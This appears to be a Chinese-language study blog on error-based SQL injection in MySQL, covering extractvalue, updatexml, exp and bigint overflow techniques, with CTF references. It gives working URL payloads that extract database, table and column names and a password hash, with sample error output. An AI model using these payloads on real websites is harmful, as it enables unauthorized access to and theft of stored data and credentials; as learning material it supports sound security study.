上次说到了sql注入中的布尔盲注的基本的方法,也是最简单的。
今天说一说报错盲注
基于报错的SQL盲注
基于报错的SQL盲注的方法有很多:
- 基于extractvalue()报错注入
- 基于updatexml()报错注入
- 利用double数据类型超出范围进行报错注入(exp注入)
- 利用bigint溢出报错注入(!溢出报错注入)
- 利用数据的重复性报错注入
- floor报错注入
- 利用了MySQL的第8652号bug :
Bug #8652 group by part of rand() returns duplicate key error来进行的盲注 - ...
所以这么多方法一次也写不完,但后续会慢慢学习补充。
基于extractvalue()报错注入
extractvalue()
:对xml文档进行查询的函数- 语法:
extractvalue(目标xml文档,xml路径)
第二个参数是XPath表达式 xpath_expr(也称为 定位器),这个位置就是我们操作的地方,xml文档中查找字符的位置使用/xx/xx/xx/..这种格式 - 如果我们在第二个参数中写入其他格式,就会报错且会返回我们写入非法格式的内容,这个非法格式就是我们要查询的内容
- 利用
concat函数
将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。 - 如果有些题目过滤了空格和
and
等关键词可以使用^
来连接函数,形成异或。([极客大挑战 2019]HardSQL)
爆数据库名字
?id=1'^extractvalue(1,concat('~',(select(database()))))--+
~
是故意写入的语法错误让它报错
显示结果:
XPATH syntax error: '~stormgroup'
爆出当前数据库中的所有表的名称
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
显示结果:
XPATH syntax error: '~member,notice'
爆出当前表的字段的名称
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member')))--+
注意这里要同时加上数据库名和表名
显示结果:
XPATH syntax error: '~name,password,status'
爆出字段值
这里有个坑:extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substr()函数截取,一次查看32位。
?id=1' and extractvalue(1,concat(0x7e,(select password from member limit 1,1)))--+
显示结果:
XPATH syntax error: '~83f5d3a99c052b5097be00756d5d99d'
?id=1' and extractvalue(1,concat(0x7e,(select substr(password,32,64) from member limit 1,1)))--+
显示结果:
XPATH syntax error: '~5'
基于updatexml()报错注入
updatexml()
函数与extractvalue()
类似,只不过多了一项参数,是更新xml文档的函数- 语法:
updatexml(目标xml文档,xml路径,更新的内容)
- 同样是在第二个参数构建错误的语法使其报错
这里就不在赘述用updatexml()报错注入的详细步骤了
利用double数据类型超出范围进行报错注入
- 当传递一个大于709的值时,函数
exp()
就会引起一个溢出错误。 exp()
就是以e为底的对数函数
payload:
?id=1' and exp(~(select * from(select user())a))--+
(这一条我没有测试成功,不知道是因为数据库版本太高被修复还是因为别的原因)
我用了两种数据库的结果:
DOUBLE value is out of range in 'exp(~((select `a`.`user()` from (select user() AS `user()`) `a`)))'
和
DOUBLE value is out of range in 'exp(~(select #))'
有知道原因的大佬帮忙解答一下(估计是因为数据库版本限制)
利用bigint溢出报错注入
-
数据类型BIGINT的长度为8字节,也就是说,长度为64比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。 当对这个值进行某些数值运算的时候,比如加法运算,就会引起“BIGINT value is out of range”错误。
-
说的简单点就是数据库中有一个最大值,超过这个值就会引起溢出报错,我们执行一个
~0
即是返回无符号的最大值,~0+1
即会爆出溢出错误 -
我们可以利用子查询引起BITINT溢出,从而设法提取数据
payload
?id=1 or ~0+!(select * from (select user())x)